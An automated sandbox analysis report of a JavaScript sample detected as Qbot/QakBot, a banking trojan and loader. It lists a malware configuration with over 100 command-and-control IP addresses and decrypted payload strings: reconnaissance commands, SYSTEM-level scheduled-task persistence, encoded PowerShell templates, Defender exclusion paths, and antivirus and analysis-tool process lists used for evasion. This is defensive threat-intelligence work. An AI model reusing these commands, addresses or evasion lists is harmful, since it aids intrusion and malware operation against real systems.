Edit tour

Windows Analysis Report
ProjectFunding_450726_Jun01.js

Overview

General Information

Sample Name:	ProjectFunding_450726_Jun01.js
Analysis ID:	880006
MD5:	a657553449746c482dacfe3b19119b7a
SHA1:	630b815d443f8f7ef7e4c4c7c100de1cd8a7ed53
SHA256:	44e029dd6210c4906a82e1f16dd5ebed434efd225dafb92fc560e6ff6d1ee948
Tags:	js
Infos:

Detection

Qbot

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Yara detected Qbot

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Writes to foreign memory regions

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Allocates memory in foreign processes

Injects a PE file into a foreign processes

C2 URLs / IPs found in malware configuration

Sample uses string decryption to hide its real strings

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Deletes files inside the Windows folder

May sleep (evasive loops) to hinder dynamic analysis

Creates files inside the system directory

Internet Provider seen in connection with other malware

Detected potential crypto function

JA3 SSL client fingerprint seen in connection with other malware

IP address seen in connection with other malware

AV process strings found (often used to terminate AV products)

Java / VBScript file with very long strings (likely obfuscated code)

PE file contains an invalid checksum

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Detected TCP or UDP traffic on non-standard ports

Connects to several IPs in different countries

Launches processes in debugging mode, may be used to hinder debugging

Checks for available system drives (often done to infect USB drives)

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Found WSH timer for Javascript or VBS script (likely evasive script)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7068 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ProjectFunding_450726_Jun01.js" MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

msiexec.exe (PID: 492 cmdline: C:\Windows\system32\msiexec.exe /V MD5: 4767B71A318E201188A0D0A420C8B608)

rundll32.exe (PID: 5176 cmdline: rundll32.exe C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\main.dll,next MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 5620 cmdline: rundll32.exe C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\main.dll,next MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

wermgr.exe (PID: 4744 cmdline: C:\Windows\SysWOW64\wermgr.exe MD5: CCF15E662ED5CE77B5FF1A7AAE305233)

wscript.exe (PID: 5156 cmdline: wscript.exe C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\notify.vbs MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
QakBot, qbotQbot	QBot is a modular information stealer also known as Qakbot or Pinkslipbot. It has been active for years since 2007. It has historically been known as a banking Trojan, meaning that it steals financial data from infected systems, and a loader using C2 servers for payload targeting and download.	GOLD CABIN	http://contagiodump.blogspot.com/2010/11/template.html http://www.secureworks.com/research/threat-profiles/gold-lagoon http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_qakbot_in_detail.pdf https://0xthreatintel.medium.com/reversing-qakbot-tlp-white-d1b8b37ad8e7 https://asec.ahnlab.com/en/44662/	https://malpedia.caad.fkie.fraunhofer.de/details/win.qakbot

Malware Configuration

Threatname: Qbot

{"Bot id": "obama266", "Campaign": "1685611378", "Version": "404.1346", "C2 list": ["24.234.220.88:990", "70.28.50.223:2078", "96.56.197.26:2083", "103.123.223.133:443", "83.249.198.100:2222", "199.27.66.213:443", "90.104.151.37:2222", "94.204.202.106:443", "72.205.104.134:443", "65.95.141.84:2222", "70.28.50.223:2078", "82.131.141.209:443", "77.126.99.230:443", "71.38.155.217:443", "205.237.67.69:995", "84.215.202.8:443", "24.234.220.88:465", "76.178.148.107:2222", "116.74.163.130:443", "70.28.50.223:2087", "147.147.30.126:2222", "173.88.135.179:443", "103.140.174.20:2222", "77.86.98.236:443", "92.149.250.113:2222", "96.87.28.170:2222", "86.168.210.41:443", "176.142.207.63:443", "12.172.173.82:32101", "86.132.236.117:443", "70.50.83.216:2222", "161.142.103.187:995", "45.62.70.33:443", "12.172.173.82:465", "178.175.187.254:443", "83.110.223.61:443", "105.184.209.194:995", "41.186.88.38:443", "102.156.10.183:443", "27.109.19.90:2078", "47.205.25.170:443", "12.172.173.82:993", "76.170.252.153:995", "69.242.31.249:443", "24.234.220.88:995", "125.99.69.178:443", "79.168.224.165:2222", "75.143.236.149:443", "14.192.241.76:995", "124.122.47.148:443", "81.229.117.95:2222", "98.145.23.67:443", "114.143.176.236:443", "103.144.201.48:2078", "122.186.210.254:443", "69.160.121.6:61201", "12.172.173.82:21", "72.253.126.216:443", "75.109.111.89:443", "76.86.31.59:443", "116.120.145.170:995", "12.172.173.82:50001", "81.101.185.146:443", "201.244.108.183:995", "68.203.69.96:443", "103.139.242.6:443", "103.42.86.42:995", "85.61.165.153:2222", "76.16.49.134:443", "125.99.76.102:443", "184.182.66.109:443", "70.28.50.223:32100", "50.68.204.71:993", "85.57.212.13:3389", "41.227.190.59:443", "70.28.50.223:3389", "31.53.29.235:2222", "89.79.229.50:443", "50.68.186.195:443", "47.199.241.39:443", "93.147.235.8:443", "75.141.227.169:443", "45.243.142.31:995", "79.92.15.6:443", "85.104.105.67:443", "89.129.109.27:2222", "86.176.83.44:2222", "24.234.220.88:993", "89.32.156.5:995", "12.172.173.82:22", "103.101.203.177:443", "70.28.50.223:2083", "98.187.21.2:443", "70.49.205.198:2222", "96.56.197.26:2222", "92.9.45.20:2222", "86.195.14.72:2222", "172.115.17.50:443", "100.4.163.158:2222", "80.12.88.148:2222", "213.64.33.92:2222", "113.11.92.30:443", "78.192.109.105:2222", "47.34.30.133:443", "122.184.143.86:443", "198.2.51.242:993", "165.120.169.171:2222", "88.126.94.4:50000", "82.125.44.236:2222", "117.195.17.148:993", "147.219.4.194:443", "80.167.196.79:443", "92.154.17.149:2222", "184.181.75.148:443", "95.45.50.93:2222", "84.35.26.14:995", "201.143.215.69:443", "12.172.173.82:2087", "50.68.204.71:443", "64.121.161.102:443"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.400127832.0000000004C30000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000004.00000002.400000830.0000000000ECA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
decrypted.memstr	JoeSecurity_Qbot	Yara detected Qbot	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
4.2.rundll32.exe.ee0950.0.unpack	MAL_QakBot_ConfigExtraction_Feb23	QakBot Config Extraction	kevoreilly	0xe055:$params: 8B 7D 08 8B F1 57 89 55 FC E8 84 99 FF FF 8D 9E 24 04 00 00 89 03 59 85 C0 75 08 6A FC 58 E9 0x9c7b:$conf: 5F 5E 5B C9 C3 51 6A 00 E8 C1 44 00 00 59 59 85 C0 75 01 C3
4.2.rundll32.exe.ee0950.0.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
4.2.rundll32.exe.fd0000.1.unpack	MAL_QakBot_ConfigExtraction_Feb23	QakBot Config Extraction	kevoreilly	0xec55:$params: 8B 7D 08 8B F1 57 89 55 FC E8 84 99 FF FF 8D 9E 24 04 00 00 89 03 59 85 C0 75 08 6A FC 58 E9 0xa87b:$conf: 5F 5E 5B C9 C3 51 6A 00 E8 C1 44 00 00 59 59 85 C0 75 01 C3
4.2.rundll32.exe.fd0000.1.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
4.2.rundll32.exe.ee0950.0.raw.unpack	MAL_QakBot_ConfigExtraction_Feb23	QakBot Config Extraction	kevoreilly	0xec55:$params: 8B 7D 08 8B F1 57 89 55 FC E8 84 99 FF FF 8D 9E 24 04 00 00 89 03 59 85 C0 75 08 6A FC 58 E9 0xa87b:$conf: 5F 5E 5B C9 C3 51 6A 00 E8 C1 44 00 00 59 59 85 C0 75 01 C3
4.2.rundll32.exe.ee0950.0.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
Click to see the 1 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000004.00000002.400000830.0000000000ECA000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: Qbot {"Bot id": "obama266", "Campaign": "1685611378", "Version": "404.1346", "C2 list": ["24.234.220.88:990", "70.28.50.223:2078", "96.56.197.26:2083", "103.123.223.133:443", "83.249.198.100:2222", "199.27.66.213:443", "90.104.151.37:2222", "94.204.202.106:443", "72.205.104.134:443", "65.95.141.84:2222", "70.28.50.223:2078", "82.131.141.209:443", "77.126.99.230:443", "71.38.155.217:443", "205.237.67.69:995", "84.215.202.8:443", "24.234.220.88:465", "76.178.148.107:2222", "116.74.163.130:443", "70.28.50.223:2087", "147.147.30.126:2222", "173.88.135.179:443", "103.140.174.20:2222", "77.86.98.236:443", "92.149.250.113:2222", "96.87.28.170:2222", "86.168.210.41:443", "176.142.207.63:443", "12.172.173.82:32101", "86.132.236.117:443", "70.50.83.216:2222", "161.142.103.187:995", "45.62.70.33:443", "12.172.173.82:465", "178.175.187.254:443", "83.110.223.61:443", "105.184.209.194:995", "41.186.88.38:443", "102.156.10.183:443", "27.109.19.90:2078", "47.205.25.170:443", "12.172.173.82:993", "76.170.252.153:995", "69.242.31.249:443", "24.234.220.88:995", "125.99.69.178:443", "79.168.224.165:2222", "75.143.236.149:443", "14.192.241.76:995", "124.122.47.148:443", "81.229.117.95:2222", "98.145.23.67:443", "114.143.176.236:443", "103.144.201.48:2078", "122.186.210.254:443", "69.160.121.6:61201", "12.172.173.82:21", "72.253.126.216:443", "75.109.111.89:443", "76.86.31.59:443", "116.120.145.170:995", "12.172.173.82:50001", "81.101.185.146:443", "201.244.108.183:995", "68.203.69.96:443", "103.139.242.6:443", "103.42.86.42:995", "85.61.165.153:2222", "76.16.49.134:443", "125.99.76.102:443", "184.182.66.109:443", "70.28.50.223:32100", "50.68.204.71:993", "85.57.212.13:3389", "41.227.190.59:443", "70.28.50.223:3389", "31.53.29.235:2222", "89.79.229.50:443", "50.68.186.195:443", "47.199.241.39:443", "93.147.235.8:443", "75.141.227.169:443", "45.243.142.31:995", "79.92.15.6:443", "85.104.105.67:443", "89.129.109.27:2222", "86.176.83.44:2222", "24.234.220.88:993", "89.32.156.5:995", "12.172.173.82:22", "103.101.203.177:443", "70.28.50.223:2083", "98.187.21.2:443", "70.49.205.198:2222", "96.56.197.26:2222", "92.9.45.20:2222", "86.195.14.72:2222", "172.115.17.50:443", "100.4.163.158:2222", "80.12.88.148:2222", "213.64.33.92:2222", "113.11.92.30:443", "78.192.109.105:2222", "47.34.30.133:443", "122.184.143.86:443", "198.2.51.242:993", "165.120.169.171:2222", "88.126.94.4:50000", "82.125.44.236:2222", "117.195.17.148:993", "147.219.4.194:443", "80.167.196.79:443", "92.154.17.149:2222", "184.181.75.148:443", "95.45.50.93:2222", "84.35.26.14:995", "201.143.215.69:443", "12.172.173.82:2087", "50.68.204.71:443", "64.121.161.102:443"]}

Sample uses string decryption to hide its real strings

Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: error res='%s' err=%d len=%u
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: netstat -nao
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: runas
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: ipconfig /all
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: net localgroup
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: nltest /domain_trusts /all_trusts
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %s %04x.%u %04x.%u res: %s seh_test: %u consts_test: %d vmdetected: %d createprocess: %d
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Microsoft
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: SELF_TEST_1
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: p%08x
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Self test FAILED!!!
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Self test OK.
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: /t5
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: whoami /all
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: cmd
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: microsoft.com,google.com,cisco.com,oracle.com,verisign.com,broadcom.com,yahoo.com,xfinity.com,irs.gov,linkedin.com
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: ERROR: GetModuleFileNameW() failed with error: ERROR_INSUFFICIENT_BUFFER
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: route print
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: .lnk
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: "%s\system32\schtasks.exe" /Create /ST %02u:%02u /RU "NT AUTHORITY\SYSTEM" /SC ONCE /tr "%s" /Z /ET %02u:%02u /tn %s
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: arp -a
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %s "$%s = \"%s\"; & $%s"
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: net share
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: cmd.exe /c set
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Self check
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %u;%u;%u;
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: /c ping.exe -n 6 127.0.0.1 & type "%s\System32\calc.exe" > "%s"
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: ProfileImagePath
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: at.exe %u:%u "%s" /I
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: ProgramData
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Self check ok!
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: powershell.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: qwinsta
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: net view
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: nslookup -querytype=ALL -timeout=12 _ldap._tcp.dc._msdcs.%s
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Component_08
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Start screenshot
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: schtasks.exe /Delete /F /TN %u
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: appidapi.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %s \"$%s = \\\"%s\\\\; & $%s\"
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: c:\ProgramData
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Component_07
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: bUdiuy81gYguty@4frdRdpfko(eKmudeuMncueaN
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: powershell.exe -encodedCommand %S
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: ERROR: GetModuleFileNameW() failed with error: %u
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: powershell.exe -encodedCommand
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: SoNuce]ugdiB3c[doMuce2s81*uXmcvP
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: \System32\WindowsPowerShell\v1.0\powershell.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: schtasks.exe /Create /RU "NT AUTHORITY\SYSTEM" /SC ONSTART /TN %u /TR "%s" /NP /F
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: error res='%s' err=%d len=%u
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: netstat -nao
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: runas
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: ipconfig /all
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Caption,Description,Vendor,Version,InstallDate,InstallSource,PackageName
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %u.%u.%u.%u.%u.%u.%04x
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\explorer.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: SystemRoot
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: cscript.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: MBAMService.exe;mbamgui.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\System32\xwizard.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\System32\wermgr.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: AvastSvc.exe;aswEngSrv.exe;aswToolsSvc.exe;afwServ.exe;aswidsagent.exe;AvastUI.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: C:\INTERNAL\__empty
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: .dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Win32_PhysicalMemory
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: ALLUSERSPROFILE
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: image/jpeg
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: LocalLow
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: displayName
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Mozilla/5.0 (Windows NT 6.1; rv:77.0) Gecko/20100101 Firefox/77.0
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: shlwapi.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\WerFault.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: CommandLine
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: {%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X}
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: kernel32.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: SubmitSamplesConsent
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: 1234567890
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: wbj.go
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\wextract.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Win32_DiskDrive
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: vkise.exe;isesrv.exe;cmdagent.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: System32
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Name
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\System32\WerFault.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: WRSA.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: c:\\
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: reg.exe ADD "HKLM\%s" /f /t %s /v "%s" /d "%s"
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: SpyNetReporting
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: FALSE
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: aswhookx.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Packages
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: SonicWallClientProtectionService.exe;SWDash.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: application/x-shockwave-flash
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Sophos UI.exe;SophosUI.exe;SAVAdminService.exe;SavService.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: RepUx.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\System32\mspaint.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: coreServiceShell.exe;PccNTMon.exe;NTRTScan.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Winsta0
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Caption,Description,DeviceID,Manufacturer,Name,PNPDeviceID,Service,Status
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: CynetEPS.exe;CynetMS.exe;CynetConsole.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\wermgr.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %ProgramFiles(x86)%\Internet Explorer\iexplore.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: avp.exe;kavtray.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: root\SecurityCenter2
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\backgroundTaskHost.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: MsMpEng.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\System32\CertEnrollCtrl.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: userenv.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: csc_ui.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: frida-winjector-helper-32.exe;frida-winjector-helper-64.exe;tcpdump.exe;windump.exe;ethereal.exe;wireshark.exe;ettercap.exe;rtsniff.exe;packetcapture.exe;capturenet.exe;qak_proxy;dumpcap.exe;CFF Explorer.exe;not_rundll32.exe;ProcessHacker.exe;tcpview.exe;filemon.exe;procmon.exe;idaq64.exe;loaddll32.exe;PETools.exe;ImportREC.exe;LordPE.exe;SysInspector.exe;proc_analyzer.exe;sysAnalyzer.exe;sniff_hit.exe;joeboxcontrol.exe;joeboxserver.exe;ResourceHacker.exe;x64dbg.exe;Fiddler.exe;sniff_hit.exe;sysAnalyzer.exe;BehaviorDumper.exe;processdumperx64.exe;anti-virus.EXE;sysinfoX64.exe;sctoolswrapper.exe;sysinfoX64.exe;FakeExplorer.exe;apimonitor-x86.exe;idaq.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: \\.\pipe\
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: pstorec.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: NTUSER.DAT
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: from
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\System32\sethc.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: netapi32.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\System32\Utilman.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: gdi32.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: setupapi.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: SELECT * FROM Win32_Processor
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: iphlpapi.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Caption
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: CrAmTray.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: ccSvcHst.exe;NortonSecurity.exe;nsWscSvc.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: SOFTWARE\Microsoft\Microsoft AntiMalware\SpyNet
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Win32_ComputerSystem
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\System32\backgroundTaskHost.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %ProgramFiles%\Internet Explorer\iexplore.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Paths
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: user32.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: xagtnotif.exe;AppUIMonitor.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\System32\dxdiag.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: SentinelServiceHost.exe;SentinelStaticEngine.exe;SentinelAgent.exe;SentinelStaticEngineScanner.exe;SentinelUI.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: \sf2.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\grpconv.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: egui.exe;ekrn.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Software\Microsoft
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %S.%06d
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: bcrypt.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: SELECT * FROM AntiVirusProduct
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\SndVol.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\explorer.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\Utilman.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: SOFTWARE\Microsoft\Windows Defender\SpyNet
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: wtsapi32.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: t=%s time=[%02d:%02d:%02d-%02d/%02d/%d]
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\xwizard.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: shell32.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: TRUE
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Win32_Bios
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: SELECT * FROM Win32_OperatingSystem
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\mobsync.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: c:\hiberfil.sysss
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: /
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\AtBroker.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: abcdefghijklmnopqrstuvwxyz
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: ByteFence.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: type=0x%04X
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: snxhk_border_mywnd
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: ROOT\CIMV2
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: dwengine.exe;dwarkdaemon.exe;dwwatcher.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: https
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\explorer.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: fshoster32.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: kernelbase.dll
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: regsvr32.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %s\system32\
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: %SystemRoot%\SysWOW64\dxdiag.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: Win32_Process
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: rundll32.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: LOCALAPPDATA
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: cmd.exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: APPDATA
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: select
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: .exe
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: SOFTWARE\Wow6432Node\Microsoft AntiMalware\SpyNet
Source: 4.2.rundll32.exe.fd0000.1.unpack	String decryptor: mcshield.exe
